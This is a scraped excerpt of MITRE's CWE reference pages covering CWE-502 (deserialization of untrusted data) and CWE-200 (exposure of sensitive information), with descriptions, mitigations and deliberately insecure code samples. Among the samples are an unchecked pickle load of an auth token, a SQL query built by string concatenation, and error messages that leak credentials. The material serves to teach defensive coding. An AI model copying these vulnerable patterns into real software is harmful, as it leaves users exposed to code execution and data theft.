2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationship_Notes, Research_Gaps
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships, Theoretical_Notes
2020-08-20CWE Content TeamMITRE
updated Relationships

CWE-502: Deserialization of Untrusted Data

Weakness ID: 502
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
+ Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

+ Alternate Terms
Marshaling, Unmarshaling:
Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.
Pickling, Unpickling:
In Python, the "pickle" functionality is used to perform serialization and deserialization.
PHP Object Injection:
Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.915Improperly Controlled Modification of Dynamically-Determined Object Attributes
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details
Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

Ruby (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Python (Undetermined Prevalence)

JavaScript (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data; Unexpected State

Attackers can modify unexpected objects or data that was assumed to be safe from modification.
Availability

Technical Impact: DoS: Resource Consumption (CPU)

If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.
Other

Technical Impact: Varies by Context

The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code snippet deserializes an object from a file and uses it as a UI button:

(bad code)
Example Language: Java 
try {
File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();
}

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

(good code)
Example Language: Java 
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }

Example 2

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [R.502.7], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

(bad code)
Example Language: Python 
try {
class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data):

# Code that would be here would parse the incoming data
# After receiving headers, call confirmAuth() to authenticate

def confirmAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthFail
self.secure_data = token['data']
except:
raise AuthFail
}

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

+ Observed Examples
ReferenceDescription
chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183)
Deserialization issue in commonly-used Java library allows remote execution.
Deserialization issue in commonly-used Java library allows remote execution.
Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
Use of PHP unserialize function on untrusted input in content management system might allow code execution.
Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
Python script allows local users to execute code via pickled data.
Unsafe deserialization using pickle in a Python script.
Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phases: Architecture and Design; Implementation

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1034OWASP Top Ten 2017 Category A8 - Insecure Deserialization
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1148SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPDeserialization of untrusted data
The CERT Oracle Secure Coding Standard for Java (2011)SER01-JDo not deviate from the proper signatures of serialization methods
The CERT Oracle Secure Coding Standard for Java (2011)SER03-JDo not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)SER06-JMake defensive copies of private mutable components during deserialization
The CERT Oracle Secure Coding Standard for Java (2011)SER08-JDo not use the default serialized form for implementation defined invariants
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-461] Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015-10-28. <http://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478>.
[REF-462] Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015-08-27. <http://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing>.
[REF-463] Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015-01-28. <http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles>.
[REF-464] Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. <http://heine.familiedeelstra.com/security/unserialize>.
[REF-465] Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010-04-26. <http://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication>.
[REF-466] Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. <http://nadiana.com/python-pickle-insecure>.
[REF-467] Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011-03-20. <https://blog.nelhage.com/2011/03/exploiting-pickle/>.
[REF-468] Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016-03-21. <https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2017-05-03CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2020-06-25CWE Content TeamMITRE
updated Alternate_Terms, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Weakness ID: 200
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
+ Extended Description

There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:

  • private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
  • system status and environment, such as the operating system and installed packages
  • business secrets and intellectual property
  • network status and configuration
  • the product's own code or internal state
  • metadata, e.g. logging of connections or message headers
  • indirect information, such as a discrepancy between two internal operations that can be observed by an outsider

Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:

  • the product's own users
  • people or organizations whose information is created or used by the product, even if they are not direct product users
  • the product's administrators, including the admins of the system(s) and/or networks on which the product operates
  • the developer

Information exposures can occur in different ways:

  • the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
  • a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
  • the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.

It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.

+ Alternate Terms
Information Disclosure:
This term is frequently used in vulnerability advisories to describe a consequence or technical impact, for any vulnerability that has a loss of confidentiality. Often, CWE-200 can be misused to represent the loss of confidentiality, even when the mistake - i.e., the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory. In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.
Information Leak:
This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with the accidental exposure of information from a different weakness, but in other cases (such as "memory leak"), this deals with improper tracking of resources, which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.201Insertion of Sensitive Information Into Sent Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Differences in Behavior to Error Inputs
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.213Exposure of Sensitive Information Due to Incompatible Policies
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.215Insertion of Sensitive Information Into Debugging Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.359Exposure of Private Personal Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.497Exposure of Sensitive System Information to an Unauthorized Control Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.538Insertion of Sensitive Information into Externally-Accessible File or Directory
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1243Sensitive Non-Volatile Information Not Protected During Debug
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1258Exposure of Sensitive System Information Due to Uncleared Debug Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1273Device Unlock Credential Sharing
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1295Debug Messages Revealing Unnecessary Information
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.498Cloneable Class Containing Sensitive Information
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.499Serializable Class Containing Sensitive Data
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1272Sensitive Information Uncleared Before Debug/Power State Transition
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Differences in Behavior to Error Inputs
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.532Insertion of Sensitive Information into Log File
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

(bad code)
Example Language: Perl 
my $username=param('username');
my $password=param('password');

if (IsValidUsername($username) == 1)
{
if (IsValidPassword($username, $password) == 1)
{
print "Login Successful";
}
else
{
print "Login Failed - incorrect password";
}
}
else
{
print "Login Failed - unknown username";
}

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

(result)
 
"Login Failed - incorrect username or password"

Example 2

This code tries to open a database connection, and prints any exceptions that occur.

(bad code)
Example Language: Java 
try {
openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), '\n';
echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(bad code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Example 4

This code stores location information about the current user:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...

catch (Exception e) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage("Sorry, this application has experienced an error.");
AlertDialog alert = builder.create();
alert.show();
Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 5

The following is an actual MySQL error statement:

(result)
Example Language: SQL 
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4

The error clearly exposes the database credentials.

Example 6

This code displays some information on a web page.

(bad code)
Example Language: JSP 
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Example 7

The following program changes its behavior based on a debug flag.

(bad code)
Example Language: JSP 
<% if (Boolean.getBoolean("debugEnabled")) {
%>
User account number: <%= acctNo %>
<%
} %>

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

Example 8

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

+ Observed Examples
ReferenceDescription
Enumeration of valid usernames based on inconsistent responses
Account number enumeration via inconsistent responses.
User enumeration via discrepancies in error messages.
Telnet protocol allows servers to obtain sensitive environment information from clients.
Script calls phpinfo(), revealing system configuration to web user
Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.
Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.
Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
Program reveals password in error message if attacker can trigger certain database errors.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Direct request to library file in web application triggers pathname leak in error message.
Malformed regexp syntax leads to information exposure in error message.
Password exposed in debug information.
FTP client with debug option enabled shows password to the screen.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

+ Weakness Ordinalities
OrdinalityDescription
Primary
Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed (where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Resultant
Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party (where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Source code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
